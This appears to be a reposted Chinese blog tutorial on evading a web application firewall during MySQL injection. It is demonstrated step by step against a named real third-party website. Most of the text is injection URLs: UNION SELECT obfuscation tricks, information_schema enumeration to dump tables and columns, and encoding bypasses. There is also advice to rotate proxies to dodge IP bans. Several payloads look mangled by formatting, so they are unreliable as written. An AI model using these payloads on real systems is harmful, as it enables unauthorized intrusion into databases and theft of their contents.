1. 程式人生 > 其它 >MySQL繞過WAF實戰技巧

MySQL繞過WAF實戰技巧

一、前言

本人喜歡遇到好的東西,樂於分享,關注freebuf有段時間了,寫過兩篇文章,每次寫寫文章,不僅僅是為了掙點稿費。而是通過此平臺能夠認識一些安全圈的小夥伴,互相學習,共同進步。在安全行業也有些曲折,發過工控協議fuzzing的入門教程,也發過無線安全的滲透測試指令碼。這次發個web的吧。僅供學習,本人也是小菜。大牛直接飛過吧。

二、綜述

最近在研究web安全,感覺不掌握點繞過技巧,沒法混,在看了幾天的關於sql注入繞過的方式後,大都是巨集觀的講解有哪些繞過方式。簡單的總結了下:

1、註釋方式繞過 2、編碼方式繞過 3、大小寫方式繞過 4、緩衝區溢位導致拒絕服務從而繞過(fuzz技術)

這是目前幾天所看到的,有好的思路的小夥伴,可以隨時交流。之前建了一個無線電安全研究的群:163309269。歡迎不限於研究無線電、物聯網安全的大牛加入。

這次主要是看到國外大牛對mysql注入測試的一些思路,然後自己整理下,分享下。對於只看巨集觀文章,沒有實戰的演練,無疑是很好的案例。

三、具體實現

本次測試是以如下站點為例:http://www.ecgi.org/wp/wp_id.php?id=123

1、首先加入單引號http://www.ecgi.org/wp/wp_id.php?id=123’,出現下面提示:owner has denied your access to the site.然後嘗試bypass。

2、然後在輸入如下測試連結:http://www.ecgi.org/wp_id.php?id=123’ oRder By 100— - 會再次阻塞我們的 IP地址,拒絕我們訪問。

3、嘗試Group By,測試連結為:http://www.ecgi.org/wp/wp_id.php?id=213 ’ Group By 100 — - 出現Unknown column ‘100’ in ‘group statemeat’。這裡代表Group By可以工作,waf不能阻塞。

然後用如下測試:這裡代表是25列。

4、下面測試如何Bypass Order By。通過手工測試發現只要Order和By連在一起就會被waf阻塞。通過測試payload 為:http://www.ecgi.org/wp/wp_id.php?id=213 ’ Order%A0By 100 出現報錯,說明waf沒有過濾,已經可以bypass。

這裡還有一種方式:payload為:http://www.ecgi.org/wp/wp_id.php?id=213’ /_//!50000Order/ By 100 — -

依然可以報錯,說明也可以bypass waf。

5、接下來進行聯合查詢,使用union select。使用手工測試下:http://www.ecgi.org/wp/wp_id?id=123’ UnIoN SeLeCt 發現被waf攔截。下面再次嘗試bypass。

首先手工判斷下過濾欄位是什麼,經過測試發現只要UnIoN和SeLeCT連在一起,就會別waf攔截。那麼開始寫paylaod來繞過吧。

payload為:http://www.ecgi.org/wp/wp_id.php?id=213’/_/UnIoN(/!50000SeLeCt/ 1,2 — - (溫馨提示,有些waf可能會在攻擊者較多測試過程中會封鎖IP,建議使用代理不斷更新自己的IP地址)。這裡報錯,說明已經bypass了。

上面知道了column是25,那麼我們可以構造payload為:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’ /_/UnIoN(/!50000SeLeCt/1,2,3,4444444444444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)— - 來進行測試:發現在Title中爆出我們填寫的資料。

在UnIoN和SeLeCt直接過濾情況下,還可以嘗試另一種方式來進行測試,從而繞過waf。

http://www.ecgi.org/wp/wp_id.php?id=213’ UnIoN%A0SeLeCT 1,2 — -

這裡會報錯,說明可以bypass。

但是在聯合查詢的時候,查詢填充的列分割較多時,就會別waf攔截。如下payload為:

http://www.ecgi.org/wp/wp_id.php?id=213’ UnIoN%A0SeLeCT 1,2,3,4,5,6 — -

這裡存在幾種繞過方式:

(1)使用Join查詢

payload構造為:

 http://wwww.ecgi.org/wp/wp_id.php?id=-213’  UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c JOIN (SeLeCt 4)d JOIN (SeLeCt 5)e JOIN (SeLeCt 6)f JOIN (SeLeCt 7)g JOIN (SeLeCt 8)h JOIN (SeLeCt 9)i JOIN (SeLeCt 10)j JOIN (SeLeCt 11)k JOIN (SeLeCt 12)l JOIN (SeLeCt 13)m JOIN (SeLeCt 14)n JOIN (SeLeCt 15)o JOIN (SeLeCt 16)p JOIN (SeLeCt 17)q JOIN (SeLeCt 18)r JOIN (SeLeCt 19)s JOIN (SeLeCt 20)t JOIN (SeLeCt 21)w JOIN (SeLeCt 22)x JOIN (SeLeCt 23)y JOIN (SeLeCt 24)z JOIN (SeLeCt 25)2a-- -

如下圖所示,bypass成功!

(2)使用字元(~)

payload構造為:

 http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- -

這裡依然被waf攔截。

然後在5前面加入~,payload為:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -

如圖所示,bypass成功!

(3)使用小數點(.)

payload構造為:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -

如圖所示,bypass成功!

(4)使用單引號(‘’)

payload構造為:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,’5’,’6’-- -

如圖所示,bypass成功!

(5)使用雙引號(“”)

payload構造為:

http://www.ecgi.org/wp/wp_id?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,”5”,”6”-- -

如圖所示,bypass成功!

(6)使用字元(*9e0)

payload構造為:

http://www.ecgi.org/wp/wp_id.php?=213’*9e0UnIoN

SeLeCT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25— -

如圖所示,bypass成功!

6、上面基本繞過之後,開始嘗試爆資料。

首先我們爆一下information_schema的table_name.

構造payload為:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FrOm Information_schema— -

這裡被waf攔截。

好吧,繼續bypass操作。。。

首先通過手工嘗試,看看過濾什麼欄位,通過測試過濾了FrOm。我們這裡可以選擇上面的一些繞過方式,比如

%A0或者/!50000/都沒有成功。

下面來講一下通過其他兩種方式來進行bypass測試。

(1)在FrOm前加e0 來bypass

構造payload:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeleCT 1,2,3,ConCat(table_name)5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema— -

如圖所示,發現報錯,說明bypass成功!

然後在構造完整的查詢。Information_schema.Tables。如圖所示:oh shit….依然被waf攔截。

接著分析繞過吧,通過手工測試,waf過濾的是小數點(.)。那麼構造payload吧:

http://www.ecgi.org/wp/wp_id.php?od=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(tablename),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema./****/Tables— -

如圖所示,bypass成功!

(2)加小數點來bypass

payload為:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(tablename),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./****/Tables— -

如圖所示,bypass成功!

7、下面來讓我們打印出information_schema資料庫的所有的表和列吧。

測試payload的為:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns-- -

如圖所示:

8、接著來列印primary DATABASE。好吧,這裡被過濾了where。

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns Where-- -

下面嘗試繞過,廢話不多數,繞過方式使用/!50000/。如圖所示:

9、我們想查詢出插入的一句話,這裡以大牛為例:INSET BY SAJIB。

把這段字元轉換為hex,好吧,這裡被waf攔截了,說明過濾了Hex Convert Number。如圖所示:

那麼我們可以嘗試把字元改為二進位制(text to binary Convert)來繞過。可以bypass。(需要注意的是二進位制前面一定要加0b)

四、總結

繞過方千變萬化,思路+知識積累是不可或缺的。希望這篇文章對學習bypass的小夥伴有用。本人也在學習和蒐集關於oracle的一些繞過waf技巧,有感興趣的可以互相學習,探討。